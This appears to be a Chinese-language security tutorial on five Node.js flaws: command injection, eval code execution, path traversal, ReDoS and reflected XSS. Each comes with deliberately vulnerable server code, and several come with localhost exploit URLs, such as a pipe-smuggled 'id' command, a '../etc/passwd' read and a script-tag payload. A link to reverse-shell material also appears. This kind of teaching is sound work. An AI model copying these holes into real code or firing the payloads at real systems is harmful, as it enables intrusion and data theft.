1.命令执行
从代码中看出exe首先声明了一个child_process对象,然后通过parsedUrl传递的ping变量拼接传入exec方法,这样就可以控制程序流程执行想要执行的系统命令。
var http = require("http");
var url = require("url");
var exe = require('child_process');
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
exe.exec('ping -c 2 ' + parsedUrl.query.ping, function (err, data)
{
response.write("Hello "+ data);
response.end();
});
}).listen(8888);
exploit: http://127.0.0.1:8888/?ping=127.0.0.1|id
image.png
2.代码执行
分析代码这里使用express构建了一个web服务器,传递的name参数被包裹在eval函数里造成了代码执行。
var express = require('express');
var app = express();
app.get('/', function(req, res) {
var resp=eval("("+req.query.name+")");
res.send('Response</br>'+resp);
});
app.listen(8000);
通过传入表达式来验证是否存在漏洞。

可以看出表达式被执行,然后利用nodejs内置模块调用继续获取信息。

>反弹shell参考: https://www.jianshu.com/p/7e5c9d1cba4a
3.路径穿越
这段代码同样开了一个express服务,参数load被__dirname拼接,__dirname是引用模块的当前路径,然后通过创建读文件流用pipe读取文件内容。
var http = require('http'),
fileSystem = require('fs'),
path = require('path');
var express = require('express');
var app = express();
app.get('/', function(req, res) {
var filePath = path.join(__dirname, '/' + req.query.load);
var readStream = fileSystem.createReadStream(filePath);
readStream.pipe(res);
});
app.listen(8888);
exploit: http://127.0.0.1:8888/?load=../../../../../../etc/passwd
image.png
4.ReDoS正则表达式拒绝服务攻击
关于正则表达式的拒绝服务可以参考,原理都是一样的。
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
starttime = process.hrtime();
var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("User Input : "+ parsedUrl.query.email);
response.write("Email Validation : "+ emailExpression.test( parsedUrl.query.email ));
response.write("</br>Server Response Time: " + process.hrtime(starttime));
response.end();
}).listen(8888);
只要我们构造的payload满足尽可能多的匹配,当注入足够的字符的时候,正则表达式耗费时间就会越久,从而达到拒绝服务攻击的目的。
image.png
大概要11秒左右才完成响应。
5.反射型XSS
通过代码可以看到传递的参数name直接回显到响应体中,所以构成反射型XSS。
var http = require("http");
var url = require("url");
http.createServer(function(request, response)
{
var parsedUrl = url.parse(request.url, true);
response.writeHead(200, {"Content-Type": "text/html"});
response.write("Hello "+ parsedUrl.query.name);
response.end();
}).listen(8888);
exploit: http://127.0.0.1:8888/?name=%3Cscript%3Ealert(1)%3C/script%3E
image.png
网友评论